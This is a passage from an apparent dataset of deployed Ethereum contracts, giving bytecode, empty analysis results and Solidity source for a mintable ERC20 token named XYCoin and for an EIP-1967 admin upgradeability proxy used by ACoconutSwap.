1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561195757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561199357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611a6157fe5b818303905092915050565b6000808284019050838110151515611a8057fe5b8091505092915050565b60006001600260006101000a81548160ff021916908315150217905550426003819055507f998e5b91c4126b3094665198d6fb762e0ae1fb7b9ee44eb52ed240f49d2e379260405160405180910390a160019050905600a165627a7a723058207f9dd98fca2c3ff2883c3f7dc7139c45f1bb6d7b306b7485f41dd12e29d4fe540029
|
{"success": true, "error": null, "results": {}}
| 9,361 |
0xe6bc703a219a4ecb3d7da8205f4345ef0f8e3209
|
pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract XYCoin is MintableToken {
string public name = "XY Gold Coin";
string public symbol = "XYCOIN";
uint8 public decimals = 18;
}
|
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100eb57806306fdde031461011a578063095ea7b3146101aa57806318160ddd1461020f57806323b872dd1461023a578063313ce567146102bf57806340c10f19146102f0578063661884631461035557806370a08231146103ba5780637d64bcb4146104115780638da5cb5b1461044057806395d89b4114610497578063a9059cbb14610527578063d73dd6231461058c578063dd62ed3e146105f1578063f2fde38b14610668575b600080fd5b3480156100f757600080fd5b506101006106ab565b604051808215151515815260200191505060405180910390f35b34801561012657600080fd5b5061012f6106be565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016f578082015181840152602081019050610154565b50505050905090810190601f16801561019c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b657600080fd5b506101f5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061075c565b604051808215151515815260200191505060405180910390f35b34801561021b57600080fd5b5061022461084e565b6040518082815260200191505060405180910390f35b34801561024657600080fd5b506102a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610858565b604051808215151515815260200191505060405180910390f35b3480156102cb57600080fd5b506102d4610c12565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102fc57600080fd5b5061033b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c25565b604051808215151515815260200191505060405180910390f35b34801561036157600080fd5b506103a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e0b565b604051808215151515815260200191505060405180910390f35b3480156103c657600080fd5b506103fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061109c565b6040518082815260200191505060405180910390f35b34801561041d57600080fd5b506104266110e4565b604051808215151515815260200191505060405180910390f35b34801561044c57600080fd5b506104556111ac565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104a357600080fd5b506104ac6111d2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ec5780820151818401526020810190506104d1565b50505050905090810190601f1680156105195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561053357600080fd5b50610572600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611270565b604051808215151515815260200191505060405180910390f35b34801561059857600080fd5b506105d7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061148f565b604051808215151515815260200191505060405180910390f35b3480156105fd57600080fd5b50610652600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061168b565b6040518082815260200191505060405180910390f35b34801561067457600080fd5b506106a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611712565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107545780601f1061072957610100808354040283529160200191610754565b820191906000526020600020905b81548152906001019060200180831161073757829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561089557600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108e257600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561096d57600080fd5b6109be826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186a90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a51826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b2282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600660009054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c8357600080fd5b600360149054906101000a900460ff16151515610c9f57600080fd5b610cb48260015461188390919063ffffffff16565b600181905550610d0b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610f1c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fb0565b610f2f838261186a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561114257600080fd5b600360149054906101000a900460ff1615151561115e57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112685780601f1061123d57610100808354040283529160200191611268565b820191906000526020600020905b81548152906001019060200180831161124b57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112ad57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156112fa57600080fd5b61134b826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186a90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113de826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061152082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561176e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117aa57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561187857fe5b818303905092915050565b600080828401905083811015151561189757fe5b80915050929150505600a165627a7a723058204f43f5b5964e04f46f2fea13b1ea7f97e10d0422b2f62fbf7f299d56e077a4d30029
|
{"success": true, "error": null, "results": {}}
| 9,362 |
0x73FddFb941c11d16C827169Bb94aCC227841C396
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.8;
//
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*
* Credit: https://github.com/OpenZeppelin/openzeppelin-sdk/blob/master/packages/lib/contracts/upgradeability/Proxy.sol
*/
abstract contract Proxy {
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
//
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*
* Credit: https://github.com/OpenZeppelin/openzeppelin-sdk/blob/master/packages/lib/contracts/upgradeability/BaseUpgradeabilityProxy.sol
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(
Address.isContract(newImplementation),
"Implementation not set"
);
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
emit Upgraded(newImplementation);
}
}
//
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
* Credit: https://github.com/OpenZeppelin/openzeppelin-sdk/blob/master/packages/lib/contracts/upgradeability/BaseAdminUpgradeabilityProxy.sol
*/
contract AdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
_setAdmin(_admin);
}
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function changeImplementation(address newImplementation) external ifAdmin {
_setImplementation(newImplementation);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
}
//
/**
* @notice Proxy for ACoconutSwap to help truffle deployment.
*/
contract ACoconutSwapProxy is AdminUpgradeabilityProxy {
constructor(address _logic, address _admin) AdminUpgradeabilityProxy(_logic, _admin) public payable {}
}
|
